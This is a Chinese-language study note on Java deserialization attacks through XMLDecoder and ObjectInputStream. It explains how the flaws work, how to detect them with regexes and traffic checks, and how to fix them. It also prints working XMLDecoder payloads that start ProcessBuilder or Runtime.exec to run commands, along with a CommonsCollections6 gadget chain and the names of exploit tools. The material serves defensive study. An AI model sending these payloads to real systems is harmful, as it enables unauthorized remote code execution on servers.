本文仅用于安全学习、靶场复现与授权测试场景,重点关注漏洞原理、检测思路和修复建议。

Java 反序列化漏洞学习笔记

两类 Java 反序列化攻击:XML 形式(XMLDecoder)与二进制形式(ObjectInputStream)。原理、Payload、检测特征、修复方案。


一、XML 形式 — XMLDecoder 反序列化

1.1 原理

java.beans.XMLDecoder 是 JDK 自带的 XML→Java 对象反序列化工具。

1
2
3
// 漏洞代码
XMLDecoder decoder = new XMLDecoder(request.getInputStream());
Object obj = decoder.readObject(); // ← 此处触发反序列化

解析 XML 时:

  • <object class="xxx"> → 调用类的无参构造,实例化对象
  • <void method="xxx"> → 调用该对象的方法

攻击者构造恶意 XML,使服务端实例化 ProcessBuilder 并调用 start(),实现 RCE。

攻击链:

1
2
3
4
POST XML → XMLDecoder.readObject()
→ <object class="java.lang.ProcessBuilder"> → 实例化 ProcessBuilder
→ <void method="start"> → ProcessBuilder.start()
→ 执行系统命令

1.2 基础 Payload

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>calc.exe</string></void>
</array>
<void method="start"/>
</object>
</java>

1.3 Payload 变体

Runtime.exec 方式:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="3">
<void index="0"><string>cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>whoami</string></void>
</array>
</void>
</object>
</java>

反弹 Shell(PowerShell 版)

公开版本省略具体反连载荷,仅记录该类 payload 会体现出的行为特征,例如可疑 PowerShell、外连连接、长命令参数等,便于后续流量研判和防护加固。

1.4 检测特征

特征 命中条件
Content-Type application/xmltext/xml
Body 标签 <java class="java.beans.XMLDecoder">
危险类 <object class="java.lang.ProcessBuilder">java.lang.Runtime
危险方法 <void method="start">exec
命令参数 <string>cmd.exe</string>/bin/bash

正则检测规则:

1
2
3
4
5
6
7
8
# 核心特征
<java\b.*class\s*=\s*["']java\.beans\.XMLDecoder["']

# 危险类
<object\s+class\s*=\s*["']java\.lang\.(ProcessBuilder|Runtime)["']

# 危险方法
<void\s+method\s*=\s*["'](start|exec)["']

一句话判断:

Body 中同时出现 <java + XMLDecoder + startexec,就是 XMLDecoder 反序列化攻击。


二、二进制形式 — ObjectInputStream 反序列化

2.1 原理

Java 原生序列化机制通过 ObjectInputStream.readObject() 将字节流还原为对象。问题在于还原过程中会自动调用被还原对象的 readObject()readResolve() 等方法,攻击者可构造恶意对象链(gadget chain)实现 RCE。

1
2
3
// 漏洞代码
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // ← 此处触发

2.2 序列化数据格式

Java 序列化的二进制数据有固定的魔术头和协议结构:

1
2
3
4
5
6
偏移  内容              说明
0x00 AC ED 魔术字节(STREAM_MAGIC)
0x02 00 05 版本号(STREAM_VERSION)
0x04 0x73 对象类型标识(TC_OBJECT)
0x05 0x72 类描述符标识(TC_CLASSDESC)
... 类名字节

2.3 Payload 特征

形式 特征值 说明
原始二进制 ac ed 00 05 Java 序列化魔术头
Base64 编码 rO0AB 魔术头的 Base64 编码(最常见)
Hex aced0005 魔法头十六进制表示

示例:原始二进制 payload 的 hex dump

1
2
00000000  ac ed 00 05 73 72 00 17  6a 61 76 61 2e 75 74 69  |....sr..java.uti|
00000010 6c 2e 50 72 69 6f 72 69 74 79 51 75 65 75 65 00 |l.PriorityQueue.|

示例:HTTP 请求中 Base64 编码的 payload

1
2
3
4
5
6
POST /api/data HTTP/1.1
Host: target.com
Content-Type: application/octet-stream
Content-Length: 3456

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQAAAAAAAAABAwAC...

2.4 常见 Gadget Chain(ysoserial)

链名 核心类 适用版本 特点
CommonsCollections1 InvokerTransformer JDK < 8u71 最经典,利用 ConstantTransformer + ChainedTransformer + 反射
CommonsCollections2 PriorityQueue Commons Collections 4.x 利用 TemplatesImpl 动态加载字节码,绕过 CC1 限制
CommonsCollections3 InstantiateTransformer JDK < 8u71 CC1 的变体,用 TrAXFilter 触发 TemplatesImpl
CommonsCollections4 PriorityQueue Commons Collections 4.x CC2 + CC3 混合,同时兼容 4.x
CommonsCollections5 BadAttributeValueExpException JDK < 8u232 BadAttributeValueExpException.toString() 触发
CommonsCollections6 HashMap / HashSet 全版本兼容 不依赖 JDK 内部 AnnotationInvocationHandler,通杀
CommonsCollections7 Hashtable 全版本兼容 利用哈希碰撞触发 equals() 方法
CommonsBeanutils1 BeanComparator 依赖 commons-beanutils 利用 PropertyUtils.getProperty() 触发 TemplatesImpl
Jdk7u21 LinkedHashSet JDK 7u21 及之前 JDK 原生链,无第三方依赖
Jdk8u20 LinkedHashSet JDK 8u20 及之前 JDK8u21 修复后,利用 AnnotationInvocationHandler 绕过
JdbcRowSetImpl JdbcRowSetImpl 有 JNDI 可达环境 JNDI 注入链,需配合 LDAP/RMI 服务
URLDNS HashMap + URL 全版本通杀 无危害但必通,常用于验证漏洞存在

CommonsCollections6 典型调用链:

1
2
3
4
5
6
7
8
9
10
HashMap.readObject()                          // 反序列化入口
→ HashMap.put() // 哈希表插入流程
→ TiedMapEntry.hashCode() // CC6 关键入口
→ TiedMapEntry.getValue()
→ LazyMap.get() // 懒加载 Map
→ ChainedTransformer.transform() // Transformer 链
→ ConstantTransformer.transform() // 返回 Runtime.class
→ InvokerTransformer.transform() // 反射调用 getRuntime()
→ InvokerTransformer.transform() // 反射调用 exec()
→ Runtime.exec("calc.exe") // ← RCE!

2.5 检测特征

流量层:

检测维度 特征
魔术头(Base64) 请求 Body 或参数以 rO0AB 开头
魔术头(二进制) 请求 Body 开头为 \xac\xed\x00\x05
HTTP Content-Type application/octet-streamapplication/binaryapplication/x-java-serialized-object
常见参数名 dataobjectpayloadserinput

Payload 层(解码后搜索的关键类名):

1
2
3
4
5
CommonsCollections, PriorityQueue, BadAttributeValueExpException
HashMap, Hashtable, LazyMap, TiedMapEntry
InvokerTransformer, ChainedTransformer, ConstantTransformer
TemplatesImpl, JdbcRowSetImpl, AnnotationInvocationHandler
Runtime, ProcessBuilder

正则检测规则:

1
2
3
4
5
6
7
8
# Base64 魔术头(最简单最有效)
^rO0AB

# 解码后类名特征
CommonsCollections|InvokerTransformer|ChainedTransformer|TemplatesImpl|JdbcRowSetImpl

# 恶意方法调用
Runtime\.(getRuntime|exec)|ProcessBuilder

2.6 攻击流量三步判断法

1
2
3
4
5
6
7
8
9
第一步:看魔术头
Body/参数值 以 "rO0AB" 开头 → 直接判定为 Java 序列化数据

第二步:看 HTTP 特征
Content-Type: octet-stream / binary / x-java-serialized-object → 命中

第三步:解码 Base64 看类名(确认攻击意图)
含 CommonsCollections / JdbcRowSetImpl / TemplatesImpl / InvokerTransformer
→ 攻击确认,不是正常业务序列化

2.7 正常业务序列化 vs 攻击 payload

维度 正常业务 攻击 Payload
魔术头 rO0AB(相同) rO0AB(相同)
类名 com.company.User org.apache...InvokerTransformer
URL 路径 登录/注册接口 异常接口/未授权接口
参数名 userDataprofile datapayload
反常 序列化数据置于 GET 参数或 Cookie

注意: 魔术头只证明是 Java 序列化数据,不能仅凭 rO0AB 就断定为攻击。需结合类名和上下文判断。


三、两类反序列化对比

XMLDecoder(XML 形式) ObjectInputStream(二进制形式)
入口类 java.beans.XMLDecoder java.io.ObjectInputStream
输入格式 XML 文本 二进制字节流
传输形式 明码 XML 标签 Base64 或原始二进制
魔术标记 <java class="java.beans.XMLDecoder"> ac ed 00 05 / rO0AB
Content-Type application/xml application/octet-stream
核心执行类 ProcessBuilder / Runtime Runtime + Gadget Chain
工具链 手写 XML ysoserial / marshalsec
依赖 JDK 自带(零依赖) 通常需第三方库(Commons Collections 等)
JDK 版本影响 全版本通杀 高版本 JDK 部分链失效
JEP 290 是否管控 不管 管(但可绕过)

四、修复方案

4.1 XMLDecoder

方案 说明
禁用 XMLDecoder 最直接,业务极少需要
白名单类过滤 包装 XMLDecoder,只允许安全类的 <object>
替换为安全方案 Jackson / Gson + 严格类型绑定

4.2 ObjectInputStream

方案 说明
JEP 290 序列化过滤器 JDK 9+ 内置,JDK 8u121+ 向后移植
全局过滤器 -Djdk.serialFilter=maxbytes=4096;java.lang.*;java.util.*;!*
代码级过滤器 ObjectInputFilter.Config.setObjectInputFilter()
禁用反序列化 不用 ObjectInputStream,改用 JSON / Protobuf
升级依赖 更新 Commons Collections 等第三方库到安全版本

JEP 290 过滤器示例:

1
2
3
4
5
6
7
8
# JVM 参数方式
-Djdk.serialFilter=maxbytes=1024;java.lang.String;java.util.HashMap;!*

# 代码方式
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.lang.*;java.util.*;!org.apache.commons.collections.*"
);
ObjectInputFilter.Config.setObjectInputFilter(ois, filter);

五、真实案例

漏洞 类型 影响
WebLogic CVE-2017-3506 / 10271 XMLDecoder 10.x 全版本 RCE,无需认证
WebLogic CVE-2023-21839 二进制 + JNDI 远程绑定对象注入,绕过认证
Shiro RememberMe CVE-2016-4437 二进制 AES-CBC 密钥硬编码,Cookie 反序列化
Fastjson 1.2.24 - 1.2.80 JSON(但链类似) AutoType 绕过 → JNDI 注入 → RCE
JBoss CVE-2017-12149 二进制 /invoker/readonly 未授权访问
Jenkins CVE-2016-0792 二进制 XStream 反序列化 → RCE
Spring Cloud Gateway 二进制 Actuator 未授权 + 反序列化

六、参考工具

工具 用途 地址
ysoserial 二进制反序列化 payload 生成 github.com/frohoff/ysoserial
marshalsec JNDI注入 + 多种反序列化链 github.com/mbechler/marshalsec
JNDI-Injection-Exploit JNDI 注入利用 github.com/welk1n/JNDI-Injection-Exploit
SerializationDumper 分析序列化字节流 github.com/NickstaDB/SerializationDumper

整理日期:2026-07-21